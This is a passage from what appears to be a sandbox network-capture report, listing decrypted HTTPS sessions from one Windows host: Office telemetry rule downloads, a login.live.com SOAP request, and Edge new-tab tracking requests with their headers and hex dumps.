2024-11-26 21:52:57 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:57 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 9fc3e736-101e-0046-4391-3f91b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215257Z-174f7845968glpgnhC1EWR7uec0000000w6g00000000915x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:57 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.7	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:57 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:58 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:57 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 3452a663-f01e-003c-1f91-3f8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215257Z-174f7845968px8v7hC1EWR08ng0000000wb0000000004qqq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:58 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.7	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:58 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:59 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:58 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: ca68633c-201e-006e-1f8a-3fbbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215258Z-174f7845968v75bwhC1EWRuqen0000000gxg00000000hhh0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:59 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.7	49904	20.190.177.146	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:59 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-26 21:52:59 UTC	1	OUT	Data Raw: 3c Data Ascii: <
2024-11-26 21:52:59 UTC	4774	OUT	Data Raw: 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e Data Ascii: ?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.
2024-11-26 21:52:59 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 26 Nov 2024 21:51:59 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_SN1 x-ms-request-id: 6320b8ad-ca72-4a69-9b06-666d1afd7c6b PPServer: PPV: 30 H: SN1PEPF0002F0CF V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 26 Nov 2024 21:52:58 GMT Connection: close Content-Length: 1918
2024-11-26 21:52:59 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.7	49854	20.110.205.119	443	7832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:59 UTC	1175	OUT	GET /c.gif?rnd=1732657979623&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=77db7b96657a471197e809d0cad53a03&activityId=77db7b96657a471197e809d0cad53a03&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0AACE1577F9E67D0137AF4147E876674; _EDGE_S=F=1&SID=3BEE389716BD61AD26292DD41771604E; _EDGE_V=1
2024-11-26 21:52:59 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1732657979623&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=77db7b96657a471197e809d0cad53a03&activityId=77db7b96657a471197e809d0cad53a03&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=EC024681FB45440883096ED51DE31D2A&RedC=c.msn.com&MXFR=0AACE1577F9E67D0137AF4147E876674 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=0AACE1577F9E67D0137AF4147E876674; domain=.msn.com; expires=Sun, 21-Dec-2025 21:52:59 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Tue, 26 Nov 2024 21:52:58 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.7	49862	108.139.47.92	443	7832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:59 UTC	925	OUT	GET /b?rn=1732657979624&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0AACE1577F9E67D0137AF4147E876674&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 21:52:59 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Tue, 26 Nov 2024 21:52:59 GMT Location: /b2?rn=1732657979624&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0AACE1577F9E67D0137AF4147E876674&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1859809eed3b09256c5c70a1732657979; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1859809eed3b09256c5c70a1732657979; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 56d4c538e370aeaeaa8463ce6c4a1044.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P1 X-Amz-Cf-Id: fyp7knRE7b_-HzmmQMNRiBy342FKj25muw-Ni0tBZVXlAWpJiD9ISg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.7	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:59 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:59 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:59 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: ee9d1ea0-001e-00a2-4791-3fd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215259Z-174f7845968zgtf6hC1EWRqd8s0000000nvg00000000tkux x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:59 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.7	49911	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:59 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:53:00 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:59 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: e544c55f-801e-0083-3181-3ff0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215259Z-174f78459685m244hC1EWRgp2c0000000vx0000000006v9g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:53:00 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.7	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:59 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:53:00 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:59 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: fdde8523-d01e-0028-578c-3f7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215259Z-174f784596886s2bhC1EWR743w0000000w2g00000000a0f5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:53:00 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.7	49855	13.107.21.237	443	7832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:59 UTC	1269	OUT	GET /c.gif?rnd=1732657979623&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=77db7b96657a471197e809d0cad53a03&activityId=77db7b96657a471197e809d0cad53a03&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=EC024681FB45440883096ED51DE31D2A&RedC=c.msn.com&MXFR=0AACE1577F9E67D0137AF4147E876674 HTTP/1.1 Host: c.bing.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-MS-GEC: 7353B364F5C165A1EC8927B2409BA5331300F91255377EE6F42C4F3A1462EBD0 Sec-MS-GEC-Version: 1-117.0.2045.47 Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 21:53:00 UTC	1700	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.msn.com/c.gif?rnd=1732657979623&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=77db7b96657a471197e809d0cad53a03&activityId=77db7b96657a471197e809d0cad53a03&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=EC024681FB45440883096ED51DE31D2A&MUID=0AACE1577F9E67D0137AF4147E876674 P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: MUID=0AACE1577F9E67D0137AF4147E876674; domain=.bing.com; expires=Sun, 21-Dec-2025 21:53:00 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: MR=0; domain=c.bing.com; expires=Tue, 03-Dec-2024 21:53:00 GMT; path=/; SameSite=None; Secure; Set-Cookie: SRM_B=0AACE1577F9E67D0137AF4147E876674; domain=c.bing.com; expires=Sun, 21-Dec-2025 21:53:00 GMT; path=/; SameSite=None; Secure; Set-Cookie: SRM_M=0AACE1577F9E67D0137AF4147E876674; domain=c.bing.com; expires=Sun, 21-Dec-2025 21:53:00 GMT; path=/; SameSite=None; Secure; X-Powered-By: ASP.NET X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: FABFBF5F750C4A5E848E63C7F9811871 Ref B: EWR30EDGE1612 Ref C: 2024-11-26T21:53:00Z Date: Tue, 26 Nov 2024 21:52:59 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.7	49863	23.200.3.33	443	7832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
